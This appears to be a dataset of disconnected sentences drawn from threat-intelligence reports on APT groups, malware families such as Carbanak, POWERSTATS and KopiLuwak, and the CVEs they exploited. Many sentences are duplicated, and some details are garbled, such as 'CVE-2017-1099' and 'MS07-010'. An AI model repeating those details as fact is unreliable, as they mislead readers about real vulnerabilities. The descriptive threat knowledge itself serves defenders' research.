The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
This includes Python scripts .
Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
However , Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
We identified two methods to deliver the KerrDown downloader to targets .
The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
While investigating KerrDown we found multiple RAR files containing a variant of the malware .
The dropped PE file has the distinctive file name 8.t” .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications , the majority of which are in the system utility category .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
Japan is no stranger to banking malware .
Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
We believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
Madcap” is similar to the XAgent malware , but the former is focused on recording audio .
This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service (contact intelreports@kaspersky.com) .
The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server .
These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” .
These campaign-related VPSs are located in South Africa .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
X-Force IRIS determined that the More_eggs backdoor later downloaded additional files , including a signed binary shellcode loader and a signed Dynamic Link Library (DLL) ,as described below , to create a reverse shell and connect to a remote host .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
It is possible that CVE-2017-8759 was being used by additional actors .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
The malware leverages an exploit , codenamed EternalBlue” , that was released by the Shadow Brokers on April 14 , 2017 .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious ETERNALBLUE that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
PLATINUM has used several zero-day exploits against their victims .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities (CVE-2018-8174) in the wild .
The group has demonstrated access to zero-day vulnerabilities (CVE-2018-0802) , and the ability to incorporate them into operations .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The document attached to this e-mail exploits CVE-2012-0158 .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
